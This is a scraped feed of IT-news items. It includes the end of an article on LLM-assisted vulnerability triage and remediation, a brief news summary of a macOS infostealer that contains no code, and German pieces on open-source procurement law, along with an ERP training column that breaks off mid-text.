<p role="presentation"><strong>Systems highly exposed to outside content:</strong><span> First-party data ingestion pipelines, custom API gateways, or proprietary edge proxies. A prerequisite here is direct access to the source code, this strategy is strictly for internally developed or fully open-source codebases where the organization can inspect the logic. Because these systems directly parse untrusted internet traffic, targeting their source code for LLM-driven audits yields the highest risk-reduction ROI.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Shared internal libraries and utilities: </strong><span>Core serialization/deserialization packages, common utility functions, and custom middleware wrappers (such as internal message-queue parsers) maintained in-house. Because the enterprise owns the source code for these shared building blocks, agent tools can easily hook into them within automated test harnesses to fuzz inputs and catch low-level logic or parsing bugs with high fidelity.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Foundational security boundaries:</strong><span> Internally developed centralized authentication services, custom OAuth providers, and internal credential brokers. While testing complex identity boundaries generates higher logic-based noise, having full access to the source code allows teams to pair agents with deterministic checks to safely triage findings, given that the blast radius of an authentication failure justifies the human effort.</span></p>
</li>
</ul>
<p><span>To filter the noise generated by LLMs, organizations should establish routing rules. Require the agent to generate a fully reproducible, deterministic test harness (such as a compiled binary or a Python test script) that attempts to prove the exploit. This harness must execute automatically in an isolated, monitored sandbox. If the sandbox execution fails (due to a syntax error or a failed exploit), the ticket is discarded, sparing human resources. However, organizations should enforce execution timeouts and iteration limits on these test harnesses. Without hard limits, an autonomous agent attempting to prove a vulnerability can fall into an infinite loop: writing a script, failing, rewriting, and failing again, exhausting API token budgets and compute resources against a single dead-end vulnerability, creating significant cost overruns without advancing the security review. To manage these expenses, organizations should incorporate FinOps principles to balance the compute and API costs of LLM audits against the traditional expenses of manual triage.</span></p>
<p><span>However, a successful execution in the sandbox does not guarantee an actionable, high-priority risk. In practice, autonomous agents frequently produce working PoCs for genuine technical flaws that are ultimately irrelevant; or warrant a lower remediation priority within the context of the system's threat model. For example, the agent might successfully exploit an unreachable dead-code path, or trigger a bug that requires administrative access to execute and yields no further escalation of privilege. Therefore, a human engineer should be assigned to review and prioritize the ticket only if the sandbox registers a successful execution, validating environmental context, reachability, and true business impact as part of the review.</span></p>
<p><span>This workflow reduces the volume of alerts, but it is important to understand that the security team's workload does not disappear. The engineer's primary job shifts from manually hunting for the initial vulnerability to auditing the LLM-generated proof to ensure it represents a meaningful risk rather than an unexploitable or contextually irrelevant finding. Leadership should properly staff and train teams for this new reality. Deploying LLM agents does not remove the need for skilled practitioners; it redirects their workload toward complex validation. Equally important is training teams to recognize the risk of false negatives. A hyper-focus on filtering AI-generated noise can create a false sense of security. If an exploit relies on a novel technique or a zero-day vulnerability that was not heavily weighted in the model's training data, the agent will likely scan right past it in silence. LLMs augment discovery, but they do not guarantee exhaustive coverage.</span></p>
<p><span>When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image_20.max-1000x1000.png" alt="Demistiying Image 6 New">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 6: Flowchart outlining the targeted LLM deployment and triage workflow.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Remediation and hardening</span></h3>
<h4><span>LLM-assisted code remediation</span></h4>
<p><span>A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include </span><a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/" rel="noopener" target="_blank"><span>CodeMender</span></a><span>, although as of time of writing, it is not publicly available.</span></p>
<h4><strong>IDE-integrated method</strong><span> </span></h4>
<p><span>This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Localized scope:</strong><span> The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Human-in-the-loop:</strong><span> The developer reviews the AI-generated patch before the code is committed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Managing false positives:</strong><span> Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.</span></p>
</li>
</ul>
<h4><strong>CI/CD runner method</strong><span> </span></h4>
<p><span>The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Restricted execution and deterministic validation: </strong><span>Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.</span></p>
</li>
</ul>
<p><span>In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.</span></p>
<h4><strong>Post-deployment controls</strong><span> </span></h4>
<p><span>Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Automated rollbacks:</strong><span> Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Mitigating model drift:</strong><span> Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Compliance and auditability:</strong><span> If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.</span></p>
</li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Screenshot_2026-07-15_at_10.24.22PM.max-1000x1000.png" alt="demistifying image 7">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 7: Flowchart demonstrating the difference between local IDE AI remediation and centralized CI/CD pipeline remediation.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Conclusion</span></h3>
<p><span>Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.</span></p>
<p><span>Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call. </span></p>
<p><span>As a long-term strategy aligned with </span><a href="https://media.defense.gov/2022/Nov/10/2003112742/-1/-1/0/CSI_SOFTWARE_MEMORY_SAFETY.PDF" rel="noopener" target="_blank"><span>NSA guidance on Software Memory Safety</span></a><span>, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.</span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[New ClickLock macOS Stealer Kills Apps Every 210ms Until Victims Type Their Password]]></title>
<description><![CDATA[ClickLock Stealer, a new macOS infostealer, answers a victim’s refusal by killing their apps on a loop until they hand over the login password. It arrives as a command pasted into Terminal, asks for the password behind a fake system…
Read more →
The post New ClickLock macOS Stealer Kills Apps Eve...]]></description>
<link>https://tsecurity.de/de/3673642/it-security-nachrichten/new-clicklock-macos-stealer-kills-apps-every-210ms-until-victims-type-their-password/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673642/it-security-nachrichten/new-clicklock-macos-stealer-kills-apps-every-210ms-until-victims-type-their-password/</guid>
<pubDate>Thu, 16 Jul 2026 15:39:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>ClickLock Stealer, a new macOS infostealer, answers a victim’s refusal by killing their apps on a loop until they hand over the login password. It arrives as a command pasted into Terminal, asks for the password behind a fake system…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/new-clicklock-macos-stealer-kills-apps-every-210ms-until-victims-type-their-password/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/new-clicklock-macos-stealer-kills-apps-every-210ms-until-victims-type-their-password/">New ClickLock macOS Stealer Kills Apps Every 210ms Until Victims Type Their Password</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New ClickLock macOS Stealer Kills Apps Every 210ms Until Victims Type Their Password]]></title>
<description><![CDATA[ClickLock Stealer, a new macOS infostealer, answers a victim's refusal by killing their apps on a loop until they hand over the login password. It arrives as a command pasted into Terminal, asks for the password behind a fake system dialog, and when the victim cancels, installs two LaunchAgents a...]]></description>
<link>https://tsecurity.de/de/3673615/it-security-nachrichten/new-clicklock-macos-stealer-kills-apps-every-210ms-until-victims-type-their-password/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673615/it-security-nachrichten/new-clicklock-macos-stealer-kills-apps-every-210ms-until-victims-type-their-password/</guid>
<pubDate>Thu, 16 Jul 2026 15:23:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ClickLock Stealer, a new macOS infostealer, answers a victim's refusal by killing their apps on a loop until they hand over the login password. It arrives as a command pasted into Terminal, asks for the password behind a fake system dialog, and when the victim cancels, installs two LaunchAgents and quietly exits.

At the next login, Finder, the Dock, Spotlight, Terminal, Activity Monitor, and]]></content:encoded>
</item>
<item>
<title><![CDATA[Bundestags-Gutachten: Open-Source-First ist geboten]]></title>
<description><![CDATA[Ein Gutachten der Wissenschaftlichen Dienste des Bundestages schafft Klarheit in Bezug auf den Open-Source-Einsatz in der Öffentlichen Hand.
Deutscher Bundestag/Werner Schüring



In deutschen Amtsstuben herrschte lange Zeit eine lähmende Verunsicherung: Darf eine Behörde in ihrer Ausschreibung e...]]></description>
<link>https://tsecurity.de/de/3673502/it-security-nachrichten/bundestags-gutachten-open-source-first-ist-geboten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673502/it-security-nachrichten/bundestags-gutachten-open-source-first-ist-geboten/</guid>
<pubDate>Thu, 16 Jul 2026 14:53:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bundestag.jpg?quality=50&amp;strip=all&amp;w=1024" alt="government" class="wp-image-4197839" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ein Gutachten der Wissenschaftlichen Dienste des Bundestages schafft Klarheit in Bezug auf den Open-Source-Einsatz in der Öffentlichen Hand.</p>
</figcaption></figure><p class="imageCredit">Deutscher Bundestag/Werner Schüring</p></div>



<p class="wp-block-paragraph">In deutschen Amtsstuben herrschte lange Zeit eine lähmende Verunsicherung: Darf eine Behörde in ihrer Ausschreibung explizit Open-Source-Software (OSS) fordern? Oder verstößt sie damit gegen das Neutralitätsgebot des Vergaberechts? Hierzu gibt es nun ein Gutachten der <a href="https://www.bundestag.de/parlament/verwaltung/ua_wd">Wissenschaftlichen Dienste des Bundestages</a> mit dem sperrigen Titel „<a href="https://www.bundestag.de/resource/blob/1165534/WD-7-010-26.pdf?utm_source=Bundestags-Gutachten...+%28Massenmailing+erstellt+am+2026-06-16%29&amp;utm_medium=Email">Vergabeverfahren zur Bereitstellung, Entwicklung und Änderung von Computersoftware – Zur Zulässigkeit der Beschränkung eines öffentlichen Auftragsgegenstandes auf „Open Source Softwar</a>e““.</p>



<p class="wp-block-paragraph">Das Papier schafft nun Klarheit. Das Ergebnis: Die gezielte Vorgabe von Open Source ist rechtlich zulässig und aus strategischen sowie wirtschaftlichen Gründen oft der sinnvollste Weg. Bisher hielt sich in vielen Behörden hartnäckig das Gerücht, Open-Source-Vorgaben würden Wettbewerber ausschließen.</p>



<h2 class="wp-block-heading">Schluss mit alten Mythen</h2>



<p class="wp-block-paragraph">Eine Meinung, die <a href="https://de.linkedin.com/in/pganten">Peter Ganten</a>, Vorstandsvorsitzender der Open Source Business Alliance (<a href="https://osb-alliance.de/">OSBA</a>), schon immer ein Dorn im Auge war. Im Kontext des Gutachtens betont er, dass Open Source keine spezifische Technologie sei, die nur von einer Firma angeboten werde, sondern eine Lizenzierungsart.</p>



<p class="wp-block-paragraph">So erklärt Ganten: „Jeder Anbieter kann Open Source Software anbieten“. Dieser Weg schaffe Transparenz und Resilienz für die öffentliche Hand. Das Gutachten bestätigt dies: Eine Entscheidung für OSS ist vergaberechtlich gedeckt. Allerdings muss sie sachlich gerechtfertigt, verhältnismäßig und transparent begründet sein. Um rechtlich auf der sicheren Seite zu stehen, sollten Ausschreibungen lediglich den Zusatz „oder gleichwertig“ enthalten, falls für einen spezifischen Bereich tatsächlich keine quelloffene Lösung existiert.</p>



<h2 class="wp-block-heading">Digitale Souveränität als Muss</h2>



<p class="wp-block-paragraph">Das Gutachten geht jedoch über ein bloßes „Es ist erlaubt“ hinaus. So führt es aus, dass eine Entscheidung für Open Source aufgrund von strategischen und auftragsbezogenen Gründen sogar geboten sein kann. Hier stehen zentrale Aspekte der <a href="https://www.computerwoche.de/article/4024965/digitale-souveranitat-es-ist-hochste-zeit-etwas-zu-verandern.html?utm=hybrid_search">digitalen Souveränität</a> im Fokus:</p>



<ul class="wp-block-list">
<li><strong>IT-Sicherheit:</strong></li>
</ul>



<p class="wp-block-paragraph">Quelloffene Software ermögliche eine tiefgreifende Prüfung des Codes.</p>



<ul class="wp-block-list">
<li><strong>Vermeidung von Lock-in-Effekten:</strong></li>
</ul>



<p class="wp-block-paragraph">Behörden sollten sich nicht länger in die Abhängigkeit von einzelnen Software-Giganten begeben.</p>



<ul class="wp-block-list">
<li><strong>Interoperabilität:</strong></li>
</ul>



<p class="wp-block-paragraph">Die nahtlose Zusammenarbeit verschiedener Systeme werde durch offene Standards erleichtert.</p>



<p class="wp-block-paragraph">Auch das Argument der Sparsamkeit spricht laut Gutachten für diesen Weg. So könnten der OSBA zufolge wirtschaftliche Erwägungen eine bevorzugte Berücksichtigung von OSS rechtfertigen. Schließlich reduziere sie langfristige Kosten, Abhängigkeiten und Migrationsaufwände.</p>



<h2 class="wp-block-heading">Druck durch den EuGH</h2>



<p class="wp-block-paragraph">Zusätzliche Brisanz erhält das Thema noch dadurch, dass sich das Gutachten, , auf die Rechtsprechung des Europäischen Gerichtshofes (EuGH) stützt, so ein Hinweis des Open-Source-Verbands. In einem bislang in der Öffentlichkeit kaum bekannten <a href="https://eur-lex.europa.eu/legal-content/DE/TXT/HTML/?uri=CELEX:62023CJ0578">Urteil vom Januar 2025</a> kommt der EuGH zu dem Schluss: Behörden dürfen selbst verschuldete Vendor-Lock-ins nicht länger als Ausrede nutzen, um Aufträge ohne Wettbewerb direkt an ihre bisherigen IT-Partner zu vergeben.</p>



<p class="wp-block-paragraph">Vielmehr seien die Verwaltungen nun in der Pflicht, durch aktives Marktmonitoring diese Abhängigkeiten abzubauen. Das Gutachten des Bundestages setzt hier nach Meinung der OSBA einen klaren Impuls: Wer bereits bei der Erstvergabe auf Open Source setzt, verhindert von vornherein das Entstehen kostspieliger Ausschließlichkeitssituationen.</p>



<p class="wp-block-paragraph">Letztlich markiert das Gutachten einen Wendepunkt. Da die genannten Gründe für Open Source – von Sicherheit bis Kosteneffizienz – in fast jedem Beschaffungsverfahren eine Rolle spielen, ist nach Ansicht der Interessenvertretung die Vorgabe von quelloffener Software ab sofort „so gut wie immer möglich“. Es bleibt abzuwarten, wie schnell die Behörden diesen neuen Spielraum nutzen werden, um die digitale Fessel proprietärer Anbieter abzustreifen. Erste Bundesländer wie <a href="https://www.computerwoche.de/article/2833398/schleswig-holstein-verabschiedet-sich-von-microsoft.html">Schleswig-Holstein</a> haben die digitale Wende bereits vollzogen.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[„Star Wars“: Lukes Hand mit Lichtschwert bringt 3,75 Millionen US-Dollar]]></title>
<description><![CDATA[Mark Hamills Requisitenhand samt Lichtschwert aus „Das Imperium schlägt zurück“ wurde bei Heritage Auctions für 3,75 Millionen US-Dollar verkauft – ein Rekord.]]></description>
<link>https://tsecurity.de/de/3673312/it-nachrichten/star-wars-lukes-hand-mit-lichtschwert-bringt-375-millionen-us-dollar/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673312/it-nachrichten/star-wars-lukes-hand-mit-lichtschwert-bringt-375-millionen-us-dollar/</guid>
<pubDate>Thu, 16 Jul 2026 13:47:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mark Hamills Requisitenhand samt Lichtschwert aus „Das Imperium schlägt zurück“ wurde bei Heritage Auctions für 3,75 Millionen US-Dollar verkauft – ein Rekord.]]></content:encoded>
</item>
<item>
<title><![CDATA[Geschichten aus dem DSC-Beirat: Der Sommer der Social-Media-Verbote]]></title>
<description><![CDATA[Nicht nur die Diskussion um Alterskontrollen läuft heiß.    –   Gemeinfrei-ähnlich freigegeben durch unsplash.com: Bruno GomieroDie EU-Kommission will bald einen Gesetzentwurf für ein europäisches „Mindestalter“ vorlegen. Doch während die Frage nach dem „Ob“ von Alterskontrollen politisch entschi...]]></description>
<link>https://tsecurity.de/de/3673262/it-nachrichten/geschichten-aus-dem-dsc-beirat-der-sommer-der-social-media-verbote/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673262/it-nachrichten/geschichten-aus-dem-dsc-beirat-der-sommer-der-social-media-verbote/</guid>
<pubDate>Thu, 16 Jul 2026 13:33:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure class="wp-caption entry-thumbnail"><img width="2560" height="1706" src="https://cdn.netzpolitik.org/wp-upload/2026/07/bruno-gomiero-jp7J14W9sSg-unsplash-scaled.jpg" class="attachment-landscape-860 size-landscape-860 wp-post-image" alt="Person liegt mit Smartphone in der Hand an einem Pool." decoding="async" fetchpriority="high" srcset="https://cdn.netzpolitik.org/wp-upload/2026/07/bruno-gomiero-jp7J14W9sSg-unsplash-scaled.jpg 2560w, https://cdn.netzpolitik.org/wp-upload/2026/07/bruno-gomiero-jp7J14W9sSg-unsplash-726x484.jpg 726w, https://cdn.netzpolitik.org/wp-upload/2026/07/bruno-gomiero-jp7J14W9sSg-unsplash-1013x675.jpg 1013w, https://cdn.netzpolitik.org/wp-upload/2026/07/bruno-gomiero-jp7J14W9sSg-unsplash-1536x1024.jpg 1536w, https://cdn.netzpolitik.org/wp-upload/2026/07/bruno-gomiero-jp7J14W9sSg-unsplash-2048x1365.jpg 2048w" sizes="(max-width: 2560px) 100vw, 2560px"><figcaption class="wp-caption-text">Nicht nur die Diskussion um Alterskontrollen läuft heiß.  <span class="media-license-caption">  –   Gemeinfrei-ähnlich freigegeben durch unsplash.com: <a href="https://unsplash.com/de/fotos/frau-liegt-auf-braunem-boden-jp7J14W9sSg">Bruno Gomiero</a></span></figcaption></figure>Die EU-Kommission will bald einen Gesetzentwurf für ein europäisches „Mindestalter“ vorlegen. Doch während die Frage nach dem „Ob“ von Alterskontrollen politisch entschieden scheint, ist die Frage nach dem grundrechtskompatiblen „Wie“ längst nicht beantwortet. Dabei gäbe es ganz andere Möglichkeiten, das Netz zu einem besseren Ort zu machen.]]></content:encoded>
</item>
<item>
<title><![CDATA[FT: EU set to hand Google massive fine for breaching DMA]]></title>
<description><![CDATA[The penalties relate to an investigation into Google's Play Store and its tactics around search ranking.
Read more: FT: EU set to hand Google massive fine for breaching DMA]]></description>
<link>https://tsecurity.de/de/3673252/it-nachrichten/ft-eu-set-to-hand-google-massive-fine-for-breaching-dma/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673252/it-nachrichten/ft-eu-set-to-hand-google-massive-fine-for-breaching-dma/</guid>
<pubDate>Thu, 16 Jul 2026 13:33:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The penalties relate to an investigation into Google's Play Store and its tactics around search ranking.</p>
<p>Read more: <a rel="nofollow" href="https://www.siliconrepublic.com/business/ft-eu-set-to-hand-google-massive-fine-for-breaching-dma">FT: EU set to hand Google massive fine for breaching DMA</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why your ERP training program is failing your employees]]></title>
<description><![CDATA[I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the s...]]></description>
<link>https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the same pace, with the same examples, regardless of who is sitting in the chairs.</p>



<p class="wp-block-paragraph">In one room, you might have a warehouse supervisor who has never used enterprise software, a finance manager with 20 years of system experience and a department coordinator somewhere in between. The vendor trainer covers the same material with all of them. Everyone gets a certificate at the end. Almost nobody is prepared to do their job in the new system when go-live arrives.</p>



<p class="wp-block-paragraph">I want to be clear about something before I go further. In my previous CIO article, I wrote about why organizations should <a href="https://www.cio.com/article/4181808/stop-blaming-your-erp-vendor.html">stop blaming their ERP vendor when implementations fail</a>. That argument still stands. But the training problem is a choice the organization makes. <a href="https://ecosire.com/blog/erp-user-training-best-practices-guide">Most organizations spend less than 5% of their total ERP project budget on training</a> and then hand that underfunded responsibility to the vendor. The vendor delivers what they were contracted to deliver. The gap between what got delivered and what the organization actually needed is not the vendor’s fault. It is a decision the organization made, often without fully understanding its consequences.</p>



<p class="wp-block-paragraph">After 25 years of leading enterprise software implementations and based on the doctoral research I conducted studying ERP implementations in small businesses, I am convinced that the organizations that get training right share one thing in common: they build the expertise internally rather than importing it.</p>



<h2 class="wp-block-heading">Why vendor training falls short</h2>



<p class="wp-block-paragraph">Vendor trainers know the software. That is not in question. What they do not know is your business: your processes, your workflows, your data, your terminology, your culture and the specific ways your organization will use the system once it is live.</p>



<p class="wp-block-paragraph">That gap matters more than most organizations realize. <a href="https://www.prosci.com/blog/why-do-erp-implementations-fail">Research consistently shows that inadequate training is one of the primary drivers of ERP implementation failure</a>, not because training did not happen, but because the training that happened did not connect the system to the work. Employees left those sessions knowing what buttons to click without understanding why those buttons mattered to their specific job.</p>



<p class="wp-block-paragraph">Generic training has a structural problem: it is optimized for coverage, not relevance. The goal is to ensure every employee has seen every feature. The result is that employees spend significant time learning functionality that does not apply to their role, while the functionality that does apply gets the same shallow treatment as everything else.</p>



<p class="wp-block-paragraph">A finance manager sitting through a session on shop floor production tracking is not learning anything she will use. A warehouse supervisor learning about financial journal entries is in the same position. Both leave the session technically trained. Neither leaves prepared.</p>



<p class="wp-block-paragraph">There is also a timing problem. Vendor training typically happens in a compressed window before go-live, delivered as a series of sessions rather than a progression. Research on learning retention suggests that training delivered weeks before it is needed, without reinforcement or practice, is largely forgotten by the time employees need to apply it. The result is a go-live day where everyone attended training and almost nobody feels ready.</p>



<h2 class="wp-block-heading">What internal expertise looks like in practice</h2>



<p class="wp-block-paragraph">In my doctoral research, I interviewed six IT managers from small businesses who had each led successful ERP implementations. Five of the six identified role-based, department-specific training as essential to their outcome. What distinguished their approach was not that they spent more on training. It was that they built the training capability inside the organization rather than contracting it out.</p>



<p class="wp-block-paragraph">The approach that worked most consistently was identifying one person from each affected department early in the implementation, before configuration even began. That person became the departmental expert: involved in design decisions, consulted on how their team’s processes mapped to the new system and ultimately responsible for either delivering training to their colleagues or co-leading it alongside a formal trainer.</p>



<p class="wp-block-paragraph">This is sometimes called a super user model, and the research supports its effectiveness. But what I observed in the implementations that worked goes beyond the mechanics of the model. The departmental expert brought something a vendor trainer cannot: credibility. When the warehouse supervisor learns the receiving process from someone who has worked in that warehouse, who understands the exceptions and the edge cases and the way things truly flow on a busy day, the training resonates in a way that a generic session never can.</p>



<p class="wp-block-paragraph">There is also an ownership dimension that is easy to underestimate. <a href="https://www.workday.com/en-us/perspectives/hr/erp-training-tips-best-practices.html">Peer-based training led by internal super users helps employees connect system steps to their daily responsibilities</a> in ways that outsider-led training rarely achieves. The departmental expert has skin in the game. They are going to use this system too. That shared stake changes the dynamic in the training room and sustains the support relationship long after the formal training is over.</p>



<p class="wp-block-paragraph">I have seen this play out in both directions. In implementations where the organization invested in building internal expertise early, go-live day was hard but manageable. Questions went to the departmental expert, who could answer them in the language of the department. Issues surfaced quickly because someone in each area was watching for them. Adoption stabilized faster because the support was embedded in the team rather than accessible only through a help desk ticket.</p>



<p class="wp-block-paragraph">In implementations where training was handed entirely to the vendor, the pattern was different. Go-live revealed gaps that training had not covered. The vendor’s support engagement was winding down. The organization had no internal expertise to draw on. Employees reverted to workarounds. The system went live but never fully took hold.</p>



<h2 class="wp-block-heading">How to build internal training capability before go-live</h2>



<p class="wp-block-paragraph">The organizations that got this right did not wait until the training phase to think about training. They started building internal expertise at the beginning of the project. Here is what that looked like in practice.</p>



<h3 class="wp-block-heading">Identify departmental experts early</h3>



<p class="wp-block-paragraph">Select one person from each affected department before configuration begins. Choose people who are respected by their colleagues, have a solid understanding of their department’s processes and are willing to invest extra time in the project. This is not a small ask. Make sure they and their managers understand the commitment and that the contribution is recognized.</p>



<h3 class="wp-block-heading">Involve them in the implementation, not just the training</h3>



<p class="wp-block-paragraph">The departmental expert should participate in process design sessions, configuration reviews and user acceptance testing. By the time training begins, they should understand the system deeply enough to explain not just how it works but why specific decisions were made. That context is what makes internal training credible.</p>



<h3 class="wp-block-heading">Design training around the job, not the system</h3>



<p class="wp-block-paragraph">Training content should be organized around realistic work scenarios specific to each department, not around the system’s feature set. The finance team trains on how to process their transactions in the new system. The warehouse team trains on how to manage their receipts and inventory. Connect every step to the work employees actually do.</p>



<h3 class="wp-block-heading">Plan for post-go-live support, not just pre-go-live training</h3>



